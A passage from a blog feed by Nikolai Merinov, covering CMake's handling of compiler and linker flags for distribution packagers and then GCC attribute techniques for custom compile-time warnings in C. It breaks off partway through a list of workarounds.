&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_COMPILER_TARGET&lt;/code&gt; – a target architecture that used for cross-compilers, such as the CLang, that supports several targets from the same binary. In case of the CLang compiler this variable contains a value for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--target=&lt;/code&gt; key.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_SYSROOT&lt;/code&gt; – a value for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--sysroot=&lt;/code&gt; compiler argument.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_COMPILER&lt;/code&gt; variable is not defined then the CMake tried to extract compiler related variables command from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CC&lt;/code&gt; variable. First word from this variable used as value for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_COMPILER&lt;/code&gt; variable, other words from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CC&lt;/code&gt; variable passed to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_COMPILER_ARG1&lt;/code&gt; variable. &lt;em&gt;NOTE&lt;/em&gt;: If the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_COMPILER&lt;/code&gt; variable already supplied somehow then all arguments from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CC&lt;/code&gt; variable will be missed. They would not be used as an initial value for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_COMPILER_ARG1&lt;/code&gt; variable.&lt;/p&gt;

&lt;h2 id=&quot;compilation-flags&quot;&gt;Compilation flags&lt;/h2&gt;

&lt;p&gt;For code compilation the CMake uses three types of variables:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Definitions. New definitions for a compilation can be added with the following commands:
    &lt;ul&gt;
      &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;target_compile_definitions&lt;/code&gt; function can add a new “-DVAR” flag on a per-target base.&lt;/li&gt;
      &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_definitions&lt;/code&gt; function can add flags globally for all projects that will be defined after this command.&lt;/li&gt;
      &lt;li&gt;With modification to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COMPILE_DEFINITIONS&lt;/code&gt; target and directory properties.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Include paths. New paths to header files can be added with the following commands:
    &lt;ul&gt;
      &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;target_include_directories&lt;/code&gt; function can add new “-Ipath” or “-isystem path” flags on a per-target base.&lt;/li&gt;
      &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;include_directories&lt;/code&gt; function can add new include path for all projects that will be defined after this command.&lt;/li&gt;
      &lt;li&gt;With modification to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;INCLDUE_DIRECTORIES&lt;/code&gt; target and directory properties.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;All other compilation flags. New flags can be defined with the following commands:
    &lt;ul&gt;
      &lt;li&gt;Regardless of its name the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_definitions&lt;/code&gt; function can add any compilation flag to a compilation command.&lt;/li&gt;
      &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_compile_options&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;target_compile_options&lt;/code&gt; function can add compilation flags globally or on a per-target base.&lt;/li&gt;
      &lt;li&gt;With modification to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COMPILE_OPTIONS&lt;/code&gt; target and directory properties.&lt;/li&gt;
      &lt;li&gt;Through the language-specific &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_FLAGS&lt;/code&gt; variable.&lt;/li&gt;
      &lt;li&gt;Through the language- and build-type-specific &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_FLAGS_&amp;lt;CMAKE_BUILD_TYPE&amp;gt;&lt;/code&gt; variables.&lt;/li&gt;
    &lt;/ul&gt;

    &lt;p&gt;You’ll have the following order for compilation options:&lt;/p&gt;
    &lt;ol&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${CMAKE_C_FLAGS}&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${CMAKE_C_FLAGS_${CMAKE_BUILD_TYPE}}&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;options added through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_definitions&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;options added through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_compile_options&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;options added through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;target_compile_options&lt;/code&gt;&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In order to control a default value of compilation flags you can:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Define the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFLAGS&lt;/code&gt; environment variable. This will provide default value for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_FLAGS&lt;/code&gt; cmake variable.&lt;/li&gt;
  &lt;li&gt;Provide a value for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_FLAGS&lt;/code&gt; variable with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-D&lt;/code&gt; key for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmake&lt;/code&gt; configuration command.&lt;/li&gt;
  &lt;li&gt;Provide values for the both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_BUILD_TYPE&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_FLAGS_${CMAKE_BUILD_TYPE}&lt;/code&gt; variables during configuration.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;NOTE&lt;/em&gt;: The CMake does not use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CPPFLAGS&lt;/code&gt; environment variable at all. Custom pre-processor flags should be either added to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMakeLists.txt&lt;/code&gt; files, or passed as compilation flags.&lt;/p&gt;

&lt;h2 id=&quot;linking-flags&quot;&gt;Linking Flags&lt;/h2&gt;

&lt;p&gt;In order to link binaries the CMake uses the following mechanisms:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Global variables &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_EXE_LINKER_FLAGS&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_STATIC_LINKER_FLAGS&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_SHARED_LINKER_FLAGS&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_MODULE_LINKER_FLAGS&lt;/code&gt; and their &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_*_LINKER_FLAGS_&amp;lt;CMAKE_BUILD_TYPE&amp;gt;&lt;/code&gt; variants can be used to provide flags for specific types of outputs.&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_link_options&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;target_link_options&lt;/code&gt; function used to add link options either globally or on a per-target base.&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;link_libraries&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;target_link_libraries&lt;/code&gt; function used to add extra libraries during linking. &lt;em&gt;NOTE&lt;/em&gt;: If you use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;link_libraries&lt;/code&gt; function to link with other CMake targets then all compilation and linker flags added to this targets with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUBLIC&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;INTERFACE&lt;/code&gt; keywords will be inherited by your new targets.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In order to control default value of linker flags you can:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Define the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LDFLAGS&lt;/code&gt; environment variable. This will provide default value for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_EXE_LINKER_FLAGS&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_SHARED_LINKER_FLAGS&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_MODULE_LINKER_FLAGS&lt;/code&gt; variables, but not for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_STATIC_LINKER_FLAGS&lt;/code&gt; variable.&lt;/li&gt;
  &lt;li&gt;Provide value for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_*_LINKER_FLAGS&lt;/code&gt; variable with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-D&lt;/code&gt; key for the CMake configuration.&lt;/li&gt;
  &lt;li&gt;Provide values for both the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_BUILD_TYPE&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_*_LINKER_FLAGS_${CMAKE_BUILD_TYPE}&lt;/code&gt; variables during configuration.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;recommendations-3&quot;&gt;Recommendations&lt;/h2&gt;

&lt;p&gt;The CMake ability for configuration of compilation and linking flags is very flexible and the CMake provide handy API for developers. Unfortunately the CMake allows to provide only initial values for all used mechanisms during a configuration process. As a result package developers have a limited possibility to control flags without modification to the CMake files itself. My personal recommendations is the following:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;If your packaging system does not provide specific CMake support then you should try to use the standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CC&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFLAGS&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LDFLAGS&lt;/code&gt; environment variables. &lt;em&gt;NOTE&lt;/em&gt;: There is no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CPPFLAGS&lt;/code&gt; support and you should always move your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CPPFLAGS&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFLAGS&lt;/code&gt; environment variable.&lt;/li&gt;
  &lt;li&gt;If you have control over your packaging system then you should consider creation of own code that will translate standard environment variables to the CMake variables. In this case you can provide your default values either through separate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-D&lt;/code&gt; options or through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-DCMAKE_TOOLCHAIN_FILE=/path/to/toolchain.cmake&lt;/code&gt; configuration option and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toolchain.cmake&lt;/code&gt; file with default configuration.&lt;/li&gt;
  &lt;li&gt;Consider using of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_*_FLAGS_${CMAKE_BUILD_TYPE}&lt;/code&gt; variables and try always explicitly provide the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_BUILD_TYPE&lt;/code&gt; for builds.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;But still you can control only initial values of variables and new flags from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMakeLists.txt&lt;/code&gt; files often appended to initial values there is high chance that you will fail to provide your flags in sane manner without patches to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMakeLists.txt&lt;/code&gt; files.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;With any build system there will be situations that force distribution developers to write patches to the build system files itself, but according to my experience with the Autotools it is much likely that compilation/linking flags can be added just through environment variables.&lt;/p&gt;

&lt;p&gt;If you are going to write a new configuration/build system consider the following requirements to make life of distribution developers simpler:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Provide mechanism like the Automake’s &lt;a href=&quot;https://www.gnu.org/software/automake/manual/html_node/User-Variables.html&quot;&gt;User Variables&lt;/a&gt; for all flags. Unfortunately the CMake do not have such mechanism.&lt;/li&gt;
  &lt;li&gt;Provide the way to supply different flags for different types of outputs (executables, shared libraries, plug-ins). The CMake have handy the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_EXE_LINKER_FLAGS&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_STATIC_LINKER_FLAGS&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_SHARED_LINKER_FLAGS&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_MODULE_LINKER_FLAGS&lt;/code&gt; variables for linker flags, but it lacks the same mechanism for compilation flags. In case of the autotools “libtool” have possibility to filter out both inappropriate compilation and linker flags, but this works only for flags that was hard-coded in the libtool code.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Provide the way to override flags completely during compilation. If your build system will be based on the “make” build system then try to use everything through variables: compilers, tools, each types of flags.&lt;/p&gt;

    &lt;p&gt;Try to avoid partial solutions like in the CMake with Makefile back-end: The CMake allow you re-define compilation flags during compilation with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make C_DEFINES= C_INCLUDES= CFLAGS=&lt;/code&gt; parameters, but the CMake does not provide possibility to override a C compiler application or linker flags in same time.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Currently the Autotools build system supports most of the tricks that makes work on a big distribution simpler.&lt;/p&gt;</content><author><name>Nikolai Merinov</name></author><summary type="html">Distribution developers often solve several tasks:</summary></entry><entry><title type="html">Custom Warnings for C Code</title><link href="https://mndet.net/2019/01/07/c-custom-warnings.html" rel="alternate" type="text/html" title="Custom Warnings for C Code" /><published>2019-01-07T00:00:00+00:00</published><updated>2019-01-07T00:00:00+00:00</updated><id>https://mndet.net/2019/01/07/c-custom-warnings</id><content type="html" xml:base="https://mndet.net/2019/01/07/c-custom-warnings.html">&lt;p&gt;As a part of my work for &lt;a href=&quot;https://www.inango.com/&quot;&gt;Inango Systems&lt;/a&gt; I investigated possibility to create custom warnings for C code and prepared this article.&lt;/p&gt;

&lt;h1 id=&quot;motivation&quot;&gt;Motivation&lt;/h1&gt;

&lt;p&gt;We had a task to investigate a big amount of a C code in order to estimate how many issues we can face in future work with this code. This task had the following properties:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;It was a huge amount of code. And it was not possible to investigate it manually or semi-automatically. All the statistics should be gathered automatically.&lt;/li&gt;
  &lt;li&gt;Big part of this code was obsolete and was not compiled at all. This included two cases: there were files that were not compiled and there was a code in the compiled files that was disabled with preprocessor directives. Our estimations should have been only for the active code, i.e. the one, that is currently compiled and used.&lt;/li&gt;
  &lt;li&gt;It was not possible to create a run-time test with a full (or at least a big enough) code coverage. All our estimations should have been made at the compile time.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In order to solve this task we decided to add custom compile time warnings through system headers. Only when the work was finished, we’ve discovered that the GNU Libc widely uses the same technique for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-D_FORTIFY_SOURCE&lt;/code&gt; support.&lt;/p&gt;

&lt;h1 id=&quot;implementation-technique&quot;&gt;Implementation Technique&lt;/h1&gt;

&lt;p&gt;There is a broadly known technique to stop a compilation on any of the compile-time conditions:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// Starting from C11 there is _Static_assert construction
#define non_zero_constant_argument(x) \
  _Static_assert(x, &quot;Argument should be not zero&quot;)
// Before C11 you can declare an impossible array with a constant integer expression
#defime non_zero_constant_argument_pre_C11(x) \
  char static_assert_argument_should_be_not_zero[(x) != 0 ? 1 : -1]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But there is no standard technique to add a compilation warning instead of a compilation error. Luckily, there are compiler-specific ways to generate warnings instead of errors.&lt;/p&gt;

&lt;h2 id=&quot;gcc-compilation-warnings&quot;&gt;GCC Compilation Warnings&lt;/h2&gt;

&lt;p&gt;Our environment was designed to work with the GCC compiler and we worked only with the GCC to implement custom warnings. The GCC among other things &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Function-Attributes.html&quot;&gt;function attributes&lt;/a&gt; supports the next attributes that are suitable to emit warnings during the compilation:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;void deprected_function() __attribute__((deprecated(&quot;custom message&quot;)));&lt;/code&gt; will emit a compilation warning on each &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deprecated_function&lt;/code&gt; usage in a code, except function declarations.&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;void __attribute__((deprecated(&quot;custom message&quot;))) warning() { }
int main () {
  // warning: ‘warning’ is deprecated: custom message [-Wdeprecated-declarations]
  warning();
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Unfortunately, this attribute does not allow to add any conditions for warnings.&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;void warning_if_false(void *arg) __attribute__((nonnull(1)));&lt;/code&gt; will emit a warning if an integer constant expression in the first argument is calculated as zero:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;void __attribute__((nonnull(1))) warning_if_false(void * arg) { }
int main () {
  // warning: null argument where non-null required (argument 1) [-Wnonnull]
  warning_if_false((void *)(sizeof(long) == 7));
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Such conditions allow us to define conditional warnings, but it does not provide the possibility to emit any message related to this warning.&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;void warning_if_true(int unused, ...) __attribute__((sentinel));&lt;/code&gt; will emit a warning, if an integer constant expression in the last argument is calculated as non-zero value:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;void __attribute__((sentinel)) warning_if_true(int unused, ...) { }
int main () {
  // warning: missing sentinel in function call [-Wformat=]
  warning_if_true(0, (void *)(sizeof(long) != 7));
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This solution in the same manner as the previous one does not allow to write a custom warning message.&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;int warning() __attribute__((warn_unused_result));&lt;/code&gt; will emit a warning if the function was compiled and the function result was not used in any way:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;int __attribute__((warn_unused_result)) warning() { return 0; }
int main () {
  // warning: ignoring return value of ‘warning’, declared with attribute warn_unused_result [-Wunused-result]
  (void)((sizeof(long) != 7) ? warning() : 0);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;This attribute allows to emit warnings based on a condition, but if we want to provide a custom warning message, we should embed this message into the function name:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;int __attribute__((warn_unused_result)) warning_64bit_support_is_unstable() { return 0; }
// warning: ignoring return value of ‘warning_64bit_support_is_unstable’, declared with attribute warn_unused_result [-Wunused-result]
(void)((sizeof(void *) == 8) ? warning_64bit_support_is_unstable() : 0);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;int warning() __attribute__((warning(&quot;custom message&quot;)));&lt;/code&gt; will emit a warning with a custom message if a call to such a function is not eliminated through the dead code elimination or other optimizations:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;void __attribute__((warning(&quot;custom message&quot;))) warning() { }
int main () {
  // warning: call to ‘warning’ declared with attribute warning: custom message
  (void)((sizeof(void *) != 7) ? warning() : 0);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;This attribute allows both custom messages and compile-time conditions. And even better: this attribute emits a warning after the dead code elimination and we can use this warning-attributed function both in a conditional block and as integer constant expressions. Consider the following code to understand what benefits it give to us:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;void __attribute__((warning(&quot;...&quot;))) warning1() { }
int __attribute__((warn_unused_result)) warning2() { return 0; }
if (sizeof(void *) == 7) {
  // Will not emit a warning: dead code elimination will remove if block
  warning1();
  // Will emit a warning: return value ignored
  warning2();
}
// Will not emit a warning: warning2 will be removed on GCC constant folding
(void) ((sizeof(void *) == 7) ? warning2() : 0);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;obtaining-usefull-compile-time-information&quot;&gt;Obtaining Usefull Compile-Time Information&lt;/h2&gt;

&lt;p&gt;First of all, in order to use this warnings technique for your code, you should have wrappers for all your APIs:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;library.c:
void __null_warning() { }
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
extern void __null_warning() __attribute__((warning(&quot;function called with NULL argument&quot;)))
extern int __internal_do_stuff(int *arg);

// A function can be wrapped with an inlined function to make sure that the GCC will propagate the argument values.
// Inline qualification does not guarantee that the function will be inlined; use an attribute additionally.
static inline int __attribute__((always_inline)) do_stuff(int *arg) {
  if (arg == NULL) {
    __null_warning();
  }
  return __internal_do_stuff(arg);
}

// OR a function can be wrapped with a macro with the GCC Compound Expression.
// https://gcc.gnu.org/onlinedocs/gcc/Statement-Exprs.html
#define do_stuff(arg) ({    \
  if (arg == NULL) {        \
    __null_warning();       \
  }                         \
  __internal_do_stuff(arg); \
})
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Suggested code will emit a warning on every &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_stuff(0)&lt;/code&gt; call. Unfortunately, this code will also emit warnings for the calls like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_stuff(non_constant_argument)&lt;/code&gt;. In order to create more useful warnings you should consider to use additional GCC built-in functions from the &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Object-Size-Checking.html&quot;&gt;https://gcc.gnu.org/onlinedocs/gcc/Object-Size-Checking.html&lt;/a&gt; and the (https://gcc.gnu.org/onlinedocs/gcc/Other-Builtins.html)[https://gcc.gnu.org/onlinedocs/gcc/Other-Builtins.html].&lt;/p&gt;

&lt;p&gt;This builtins allowed us to emit the required information from the compiler:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#define do_stuff(arg) ({                                                  \
  if (__builtin_constant_p(arg) &amp;amp;&amp;amp; arg == NULL) {                         \
    __called_with_a_null_constant_warning();                              \
  }                                                                       \
  if (!__builtin_types_compatible_p(typeof(arg), int *)) {                \
    __called_with_an_int_pointer();                                       \
  }                                                                       \
  if (__builtin_object_size(arg, 0) == -1) {                              \
    __called_with_a_pointer_to_an_unknown_object_warning();               \
  }                                                                       \
  if (__builtin_object_size(arg, 0) != -1                                 \
      &amp;amp;&amp;amp; __builtin_object_size(arg, 0) &amp;lt; 20 ) {                           \
    __called_with_a_pointer_to_an_object_smaller_then_20_bytes_warning(); \
  }                                                                       \
  if (!__builtin_types_compatible_p(typeof(&amp;amp;((arg)[0])), typeof(arg))) {  \
    __called_with_an_array_argument_warning();                            \
  }                                                                       \
  __internal_do_stuff(arg);                                               \
})
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This technique can be adjusted for any purposes: the GNU Libc used this technique to find the memory bounds violations in the string functions when compiled with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-D_FORTIFY_SOURCE=1&lt;/code&gt;, this technique can be used to warn about a non-recommended API usage (e.g. “in next versions calls with NULL argument will be forbidden”).&lt;/p&gt;

&lt;h2 id=&quot;issues-and-workarounds&quot;&gt;Issues and Workarounds&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;To use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__attribute__((warning(&quot;message&quot;)))&lt;/code&gt; you should ensure that the attributed function will not be optimized from the code. This can be achieved in two ways:&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;You can place a definition of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;warning&lt;/code&gt; function to a library and call it from a library header:&lt;/p&gt;

        &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;library.c:
void library_warning() { }
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
extern void library_warning() __attribute__((warning(&quot;Warning message&quot;)));
extern int __internal_do_stuff(int *arg);
#define do_stuff(arg) ({ \
  library_warning();     \
  __internal_do_stuff(); \
})
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;        &lt;/div&gt;

        &lt;p&gt;This solution is used by the GNU Libc for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__warn_memset_zero_len&lt;/code&gt; diagnostic function.&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;Or you can disable the optimization of a warning function directly in the header file with another GCC attribute:&lt;/p&gt;

        &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;library.c:
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
static inline void __attribute__((warning(&quot;Warning message&quot;), optimize(&quot;O0&quot;))) library_warning() {  }
extern int __internal_do_stuff(int *arg);
#define do_stuff(arg) ({ \
  library_warning();     \
  __internal_do_stuff(); \
})
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;        &lt;/div&gt;

        &lt;p&gt;For Inango code we have selected this solution.&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;With the code described above all your warnings will suddenly disappear once you install your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;library.h&lt;/code&gt; header to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/include&lt;/code&gt; directory. This happens because the GCC suppresses all warnings that were found in the code of system headers. You can bring back your warnings in two ways:&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;If you use a function wrapper you can use the “artificial” GCC attribute:&lt;/p&gt;

